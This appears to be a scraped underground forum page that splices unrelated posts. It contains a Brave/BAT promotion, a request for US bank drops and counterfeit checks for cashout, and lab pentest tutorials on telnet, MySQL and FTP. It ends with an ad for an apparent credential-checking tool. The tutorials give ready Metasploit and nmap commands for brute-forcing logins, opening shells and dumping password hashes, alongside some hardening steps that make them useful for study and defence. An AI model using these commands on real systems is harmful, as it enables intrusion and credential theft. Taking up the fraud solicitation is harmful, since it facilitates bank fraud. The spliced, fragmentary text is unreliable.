hello guys new here hope i find more interesting deals here--.

Brave Browser is the ultimate browser for the internet, it has all the features that other chromium based browser have like extensions and addons plus inbuild tor, download and torrent manager. It has a easy interface which makes it more easier to learn and use.

One of the useful features of Brave Browser is the inbuild tor browser that gives access to the Dark Web as well to any onion website including all the protections that tor provides. Using this feature with download or torrent manager will turn your downloads impossible to be tracked.

Brave Browser has it own crypto currency. Crypto isn't anything new as it has been around from some years now and most internet users nowadays own crypto. The crypto used by Brave Browser is BAT which stand for Basic Attention Token and after the user install Brave Browser the browser will start showing brave ads and once the user click on those ads the user will be rewarded with BAT. To cashout it only require a minimum of 5 BATs ($1) and a confirmed account with UpHold.

Brave Ads is a way for users using Brave Browser to make some cash as it doesn't require any action from the user on the advertised site, only it require is a click in the push notification. A user can keep the BAT to cashout later or reward webmasters by tipping them.

Download:

[To see content please register here]

Hi y'all, I'm looking for USA bank drops and credit to fund with cash, we split on cashout. Pm me on icq @lordpablo if you got drops. I also ship high quality checks for cashout.

Hello i am new here all nice to meet you

Welcome to Internal penetration testing on telnet server where you will learn about telnet installation, configuration, enumeration and attack, system security and precaution.
From Wikipedia
Telnet is a protocol used on the Internet or local area networks to provide a bidirectional interactive text-oriented communication facility using a virtual terminal connection. This protocol is used to establish a connection to Transmission Control Protocol (TCP) port number 23, where a Telnet server application (telnetd) is listening.
Let’s start!!!
Requirements
Telnet Server: Ubuntu
Attacker system: Kali Linux
Telnet Installation & Configuration in 3 steps
Installing telnet server is very simple, it will get activated by following three steps:
Open the terminal in Ubuntu and type given below command with root access.
apt-get install xinetd telnetd
1
apt-get install xinetd telnetd

Open ineted.conf file adds given below statement inside it, then save it.
gedit /etc/inetd.conf
1
gedit /etc/inetd.conf

telnet stream tcp nowait telnetd /usr/sbin/tcpd /usr/sbin/in.telnetd
1
telnet stream tcp nowait telnetd /usr/sbin/tcpd /usr/sbin/in.telnetd

Now open xibetd.conf and add the following line to configure the settings and save it.
gedit /etc/xinetd.conf
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/
defaults
{
# Please note that you need a log_type line to be able to use log_on_success
# and log_on_failure. The default is the following :
# log_type = SYSLOG daemon info
instances = 60
log_type = SYSLOG authpriv
log_on_success = HOST PID
log_on_failure = HOST
cps = 25 30
}
includedir /etc/xinetd.d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/
defaults
{
# Please note that you need a log_type line to be able to use log_on_success
# and log_on_failure. The default is the following :
# log_type = SYSLOG daemon info
instances = 60
log_type = SYSLOG authpriv
log_on_success = HOST PID
log_on_failure = HOST
cps = 25 30
}
includedir /etc/xinetd.d

Now execute the following command to restart the service.
sudo /etc/init.d/xinetd restart
1
sudo /etc/init.d/xinetd restart

Now you can ensure whether telnet service is getting activated or not and for this we have scanned our own system with nmap.
nmap –p 23 127.0.0.1
1
nmap –p 23 127.0.0.1
If service is activated in the targeted server then nmap show open STATE for port 23.

SSH Banner grabbing through telnet
Telnet plays an important role in the banner grabbing of other service running on the target system. Open the terminal in Kali Linux and type following command for finding the version of SSH service running on the target machine.
telnet 192.168.0.106 22
1
telnet 192.168.0.106 22
From the given image, you can observe that it has successfully shown the SSH version “2.0-openSSH_6.6.1p1” has been installed on the target machine.

SMTP Banner grabbing through telnet
Similarly, we can also find out version and valid user of SMTP server using telnet. Execute the following command and find out its version and valid user.
telnet 192.168.0.106 25
1
telnet 192.168.0.106 25
From the given image you can observe that it has successfully shown “220 mail.ignite.lab ESMTP Postfix” has been installed on the target machine.
You can guess for valid user account through the following command and if you receive response code 550 it means unknown user account:
vrfy [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
If you received a message code 250,251,252 which means the server has accepted the request and user account is valid.
But if you received a message code 550 it means invalid user account as shown in given image
vrfy [email protected]
1
vrfy [email protected]

Telnet Banner Grabbing through Metasploit
An attacker always performs enumeration for finding important information such as software version which is known as Banner Grabbing and then identifies its state of vulnerability against any exploit.
Open the terminal in your Kali Linux and Load Metasploit framework; now type the following command to scan for TELNET version.
use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set rhosts 192.168.0.106
msf auxiliary(telnet_version) > set rport 23
msf auxiliary(telnet_version) >set threads 5
msf auxiliary(telnet_version) > exploit
1
2
3
4
5
use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set rhosts 192.168.0.106
msf auxiliary(telnet_version) > set rport 23
msf auxiliary(telnet_version) >set threads 5
msf auxiliary(telnet_version) > exploit
From the given image you can read the installed version of TELNET on the target’s system.

Brute Force Attack
An attacker always tries to make a brute force attack for stealing credential for unauthorized access.
This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Now type the following command to Brute force TELNET login:
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 192.168.0.106
msf auxiliary(telnet_login) > set user_file /root/Desktop/user.txt
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(telnet_login) > set stop_on_success true
msf auxiliary(telnet_login) > exploit
1
2
3
4
5
6
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 192.168.0.106
msf auxiliary(telnet_login) > set user_file /root/Desktop/user.txt
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(telnet_login) > set stop_on_success true
msf auxiliary(telnet_login) > exploit
From given image you can observe that our TELNET server is not secure against brute force attack because it is showing a matching combination of username: raj and password: 123 for login simultaneously it has opened victims command shell as session 1.

From the given image you can see now we have unauthorized access on the victim’s system as raj@ignite and executed ifconfig to verify the network interface.

We can also convert command shell into the meterpreter shell using the following command
sessions -u 1
1
sessions -u 1
From the given image you can see that now we are having two sessions; 1st for command shell session and 2nd for the meterpreter session.

Stealing credential through sniffing
Telnet, by default, does not encrypt any data sent over the connection (including passwords), and so it is often feasible to eavesdrop on the communications and use the password later for malicious purposes; anybody who has access the network between the two hosts where Telnet is being used can intercept the packets passing between source and destination and obtain login, password and data information.
From the given image, you can observe that here the client is login into telnet server by submitting valid credential on the other hand attacker is sniffing network packet using Wireshark or other tools.

Here you can notice Wireshark had captured telnet information by sniffing the network. It follows a similar protocol as FTP where telnet users may authenticate themselves with a clear-text sign-in protocol for username and password. As result attacker can easily sniff login credential.

From given below image you can read the username: raj and password: 123 moreover complete information traveling through packet between source to destination.
Since Telnet implementations do not support Transport Layer Security (TLS) security and Simple Authentication and Security Layer (SASL) authentication extensions. Therefore in favor of that the Secure Shell (SSH) protocol, first released in 1995 in replace of Telnet.

Secure Telnet through Port forwarding
In order to secure telnet server, admin can forward port from default to specific port to run the service. Open services file using the following command for making changes:
gedit /etc/services
1
gedit /etc/services
From the given image you can perceive that telnet default uses port 23 for its services; change the port number for telnet service.

From given below image you can compare that we had changed port 23 with 2323, now restart the service.
service xinetd restart
1
service xinetd restart

Verify it using nmap command as given below:
nmap -p 2323 –sV 192.168.0.106
1
nmap -p 2323 –sV 192.168.0.106

Secure telnet against brute force attack
You can secure telnet server against brute force and from unauthorized access by adding a filter using Iptable. Allow only specific IP address to establish a connection with the telnet server and reject or drop the connection from other IP addresses.
Now type the following command with root permission to add the filter for telnet in iptables.
iptables –A INPUT –s 192.168.0.104 –p tcp --dport 23 –j ACCEPT
1
iptables –A INPUT –s 192.168.0.104 –p tcp --dport 23 –j ACCEPT
Above command will allow the traffic from IP address 192.168.0.104 to access the telnet service on port 23.
iptables –A INPUT –p tcp --dport 23 –j DROP
1
iptables –A INPUT –p tcp --dport 23 –j DROP
Above command with drop the service for traffic coming from other IP addresses on port 23.
Restart the service once you add a filter in iptables
sudo /etc/init.d/xinetd restart
1
sudo /etc/init.d/xinetd restart

Let verify the working of Ipatble by connecting to telnet server from client machine holding IP address 192.168.0.104.
Great!! Connection established successfully.
You can confirm it from given below image.

Let’s verify the working of Ipatble by connecting to the telnet server from attacker machine holding different IP address.
From given below image you can see nothing is happening here because port 23 is down for all other IP addresses
Awesome!! It means if the attacker sniffs the valid credential even then won’t be able to access the telnet server.


In this article, we are discussing MYSQL penetration testing using Nmap where you will learn how to retrieve database information such as database name, table’s records, username, password and etc.
MySQL is an open Source for Relational Database Management System that uses structured query language for generating database record.
Let’s Begin !!!
Scanning for port 3306
open the terminal and type following command to check MySQL service is activated on the targeted system or not, basically MySQL service is activated on default port 3306.
nmap -sT 192.168.1.216
1
nmap -sT 192.168.1.216
From the given image you can observe port 3306 is open for MySQL service, now let’s enumerate it.

Retrieve MySQL information
Now type another command to retrieve MySQL information such as version, protocol and etc:
nmap --script=mysql-info 192.168.1.216
1
nmap --script=mysql-info 192.168.1.216
Above command try to connect to with MySQL server and hence prints information such as the protocol: 10, version numbers: 5.5.57 -0 ubuntu0.14.04.1, thread ID: 159, status: auto-commit, capabilities, and the password salt as shown in given below image.

Brute force attack
This command will use the dictionary for username and password and then try to match the username and password combination by making brute force attack against mysql.
nmap -p3306 --script=mysql-brute --script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.216
1
nmap -p3306 --script=mysql-brute --script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.216
From the given image you can observe that it found the valid credential root: toor. This credential will help indirectly login into MYSQL server.

Retrieve MySQL usernames
This command will fetch MySQL users name which helps of given argument MySQL user root and mysqlpass toor.
nmap -p3306 192.168.1.216 --script=mysql-users --script-args mysqluser=root,mysqlpass=toor
1
nmap -p3306 192.168.1.216 --script=mysql-users --script-args mysqluser=root,mysqlpass=toor
From given below image you can see we had found four usernames: root, Debian-sys-maint, sr, st.

Retrieve database names
This command will fetch MySQL database name which helps of given argument mysqluser root and mysqlpass toor.
nmap -p3306 192.168.1.216 --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor
1
nmap -p3306 192.168.1.216 --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor
From given below image you can read the name of created database such as ignite

This command will also perform the same task as above but retrieve database name using MySQL query “show database”
nmap -p 3306 192.168.1.216 --script=mysql-query --script-args "query=show databases,username=root,password=toor"
1
nmap -p 3306 192.168.1.216 --script=mysql-query --script-args "query=show databases,username=root,password=toor"
From given below image you can read the name of created database such as ignite

Retrieve MySQL variable status ON/OFF
When we want to pass a value from one SQL statement to another SQL statement, then we store the value in a MySQL user-defined variable.
This command will fetch MySQL variables name which help of given argument mysqluser root and mysqlpass toor.
nmap -p3306 192.168.1.216 --script=mysql-variables --script-args mysqluser=root,mysqlpass=toor
1
nmap -p3306 192.168.1.216 --script=mysql-variables --script-args mysqluser=root,mysqlpass=toor
From the given image you can observe ON/OFF status for MySQL variable.

Retrieve Hash Dump
This command will Dumps the password hashes from a MySQL server in a format suitable for cracking by tools such as John the Ripper.
nmap -p3306 192.168.1.216 --script=mysql-dump-hashes --script-args username=root,password=toor
1
nmap -p3306 192.168.1.216 --script=mysql-dump-hashes --script-args username=root,password=toor
From the given image you can observe that it has dumped the hash value of passwords of the respective user which we have enumerated above.


In this article, we will learn to make MySQL port vulnerable and then secure it for the penetration testing on the port 3306. In order to completely learn and understand how to secure service on a port, you have to understand how to make it vulnerable and then perform penetration testing. Because if you don’t understand what can be exploited and how then you will always fail to secure it.
Table of Content

• Introduction to MySQL-Server
  
• Installation of MySQL-Server
  
• Pen testing MySQL-Server
  

Hello friends! Today we are going to take another CTF challenge known as IMF. The credit for making this vm machine goes to “Geckom” and it is another CTF challenge where we have to find 6 flags to complete the challenge. You can download this VM

[To see content please register here]

• Add subnet IP my networks = 127.0.0.0/8 192.168.1.0/24
  
• Enter inet_protocols = ipv4
  
• Add new line home_mailbox = Maildir/
  

• Your name: sr
  
• Email address: [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
  Register or Login
  
• Password: 1234 (user’s password)
  

Since we had already configure an account for userr in thunderbird , now create another mail account for usre:raj in thunderbird as created above.

• Sender: [email protected]
  
• Receiver: [email protected]
  

• Introduction to FTP
  • Uses of FTP
    
  • Working of FTP
    
• Penetration Testing on FTP
  • Installation of FTP
    
  • Anonymous Login
    
  • Disable FTP_banner
    
  • Switch Port for FTP Service
    
  • Sniffing FTP Login credential
    
  • Use SSL Certificate against Sniffing
    
  • Stop FTP Brute_Force Attack with Fail2ban
    
  • Restrict IP to Connect FTP
    

• An FTP site is a web site where users can easily upload or download specific files.
  
• FTP by mail allows users without access to the Internet to access and copy files using anonymous FTP by sending an email message to [email protected] and putting the word help in the body of the text.
  
• FTP Explorer is an FTP client based on Windows 95 file manager (Windows 95 Explorer).
  
• An FTP server is a dedicated computer which provides FTP service. This invites hackers and necessitates security hardware or software such as utilizing usernames, passwords, and file access control.
  
• An FTP client is a computer application which accesses an FTP server. While doing so, users should block incoming FTP connection attempts using passive mode and should check for viruses on all downloaded files.
  

• FTP server: Ubuntu
  
• Attacking machine: Kali
  
• Client machine: Windows
  

Today we are sharing tips and tricks on FTP attacks and security through FTP penetration testing which will help to secure your server from any kind FTP attack.
FTP stands for File Transfer Protocol used for the transfer of computer files such as docs, PDF, multimedia and etc between a client and server on a computer network via port 21. Port 21 is default port which gets open when FTP is activated for sharing data.
Let’s start!!
Install & Configure FTP Server on Windows 7
Firstly we are going to set up the FTP server on our Windows 7 for sharing the file in a LAN. In order to accomplish that we are going to open Control Panel >Programs >Programs and Features >Turn Windows features on or off as shown below.

Here Expand Internet Information Services and check the FTP Server option.
Also, ensure that FTP Extensibility and FTP Service are both checked as shown below and click OK to begin Installation.
This Installs the IIS and FTP Service Manager, be patient it might take some time.

Configure FTP Site in IIS
Now to open IIS, we will open Control Panel after then select System and Security and here we will open Administrative Tools. In Administrative Tools, you will find IIS Manager as shown below, open it.

The new window of Internet information IIS Manager will come up; right-click Sites given in left panel under Connections, select Add FTP Site.
This will open a new window as shown below.

Enter the name of the FTP site of your choice, as shown in given image ignite.
Enter the path to the FTP folder you want to use to send and receive files. In our case, we created a folder named ftp in location C:\ftp.
And click next.


Binding and SSL Settings, we will bind our IPv4 address to the server by allowing following setting then click on next.

• Enter IP:192.168.1.128 and Port: 21.
  
• Enable the checkbox for Start FTP site automatically
  
• In SSL option select No SSL and click next.
  

• Protocol to: FTP
  
• Encryption To: No Encryption
  
• Hostname: IP of the FTP Server
  
• Port: 21
  
• Username and Password: Windows login credentials of the user.
  

• Enable suppress default banner
  
• Enable Show detailed messages for local request
  

• Click on FTP IPv4 Address and Domain Restrictions
  
• Click on Add Allow Entry from the Actions Tab in the right panel
  
• Select Specific IP Address and enter the IP address
  
• Click OK
  

• Click on FTP IPv4 Address and Domain Restrictions
  
• Click on Add deny Entry from the Actions Tab in the right panel
  
• Select Specific IP Address and enter the IP address
  
• Click OK
  

• The format of the log file: click on the W3C field and then select the desired option such as date, time, client IP and etc.
  
• Directory: browse a location where you want to save the logs
  
• Schedule: Daily
  

• Your name: info
  
• Your email: [email protected] (provide an email id which you have created in hmail server account.)
  

• Account type: POP3
  
• Incoming mail server: 192.168.0.104
  
• Outgoing mail server: 192.168.0.104
  

• Username: [email protected]
  
• Password: ******
  

• Use the same setting (SMTP) requires authentication
  
• Use the same setting as my incoming mail server
  

From Wikipedia
NetBIOS (Network Basic Input/Output System)
NetBIOS is a service which allows communication between applications such as a printer or other computer in Ethernet or token ring network via NetBIOS name.
NetBIOS name is 16 digits long character assign to a computer in the workgroup by WINS for name resolution of an IP address into NETBIOS name.
Workgroup VS Domain
Workgroup: It is a peer-to-peer network for a maximum of 10 computers in the same LAN or subnet. It has no Centralized Administration, which means no computer has control over another computer. Each user controls the resources and security locally on their system.
Domain: It is a client/server network for up to 2000 computers anywhere in the world. The administrator manages the domain and its users and resources. A user with an account on the domain can log onto any computer system, without having the account on that computer.
NetBIOS provides three distinct services:

1. Name service (NetBIOS-NS) for name registration and resolution via port 137.
   
2. Datagram distribution service (NetBIOS-DGM) for connection less communication via port 138.
   
3. Session service (NetBIOS-SSN) for connection-oriented communication via port 139.
   

• Add name – registers a NetBIOS name.
  
• Add group name – registers a NetBIOS “group” name.
  
• Delete name – un-registers a NetBIOS name or group name.
  
• Find name – looks up a NetBIOS name on the network.
  

• Send Datagram – send a datagram to a remote NetBIOS name.
  
• Send Broadcast Datagram – send a datagram to all NetBIOS names on the network.
  
• Receive Datagram – wait for a packet to arrive from a Send Datagram operation.
  
• Receive Broadcast Datagram – wait for a packet to arrive from a Send Broadcast Datagram operation.
  

• Call – opens a session to a remote NetBIOS name.
  
• Listen – listen for attempts to open a session to a NetBIOS name.
  
• Hang Up – close a session.
  
• Send – sends a packet to the computer on the other end of a session.
  
• Send No Ack – like Send, but doesn’t require an acknowledgment.
  
• Receive – wait for a packet to arrive from a Send on the other end of a session.
  

• [To see content please register here]

  
  

• [To see content please register here]

  
  

• [To see content please register here]

  
  

• [To see content please register here]

  
  

• Get the host’s address (A record).
  
• Get the nameservers (threaded).
  
• Get the MX record (threaded).
  
• Perform axfr queries on nameservers and get BIND VERSION (threaded).
  
• Get extra names and subdomains via google scraping (google query = “allinurl: -www site:domain”).
  
• Brute force subdomains from a file can also perform recursion on a subdomain that has NS records (all threaded).
  
• Calculate C class domain network ranges and perform whois queries on them (threaded).
  
• Perform reverse lookups on netranges ( C class or/and whois netranges) (threaded).
  
• Write to domain_ips.txt file IP-blocks.
  

1. Check all NS Records for Zone Transfers
   
2. Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT)
   
3. Perform common SRV Record Enumeration. Top Level Domain (TLD) Expansion
   
4. Check for Wildcard Resolution
   
5. Brute Force subdomain and host A and AAAA records are given a domain and a wordlist
   
6. Perform a PTR Record lookup for a given IP Range or CIDR
   
7. Check a DNS Server Cached records for A, AAAA and CNAME Records provided a list of host records in a text file to check
   
8. Enumerate Common DNS records in the Local Network Enumerate Hosts and Subdomains using Google
   

1. A “–” in a field indicates missing data.
   
2. 0.0.1is the IP address of the client (remote host) which made the request to the server.
   
3. User-identifier is the RFC 1413 identity of the client.
   
4. raj is the user id of the person requesting the document.
   
5. [30/Aug/2017:10:25:16 -0700] is the date, time, and time zone that the request was received
   
6. “GET /apache_pb.gif HTTP/1.0” is the request line from the client.
   
7. 200is the HTTP status code returned to the client. 2xx is a successful response, 3xx a redirection, 4xx a client error, and 5xx a server error.
   
8. 2326is the size of the object returned to the client, measured in bytes
   

• Apache Access Log File
  

• Apache Error Log File
  

• log : /var/log/apt
  
• log /var/log/apt
  

Hello friends! Today we are going to take another CTF challenge known as 64base. The credit for making this vm machine goes to “3mrgnc3” and it is another capture the flag where author has hidden flag for the attacker as a challenge. You can download this VM

[To see content please register here]

• Full name: pentestlab
  
• Username: raj
  
• Password: 123
  
• Confirm: 123
  

✼ Author : TeamOptimus ✼
✼ Version : N/A✼
✼ Support Proxy : HTTPS | SOCKS4 | SOCKS5✼
✼ Captures : Full✼

Download Link:

Quote:The contents of this section are hidden for your group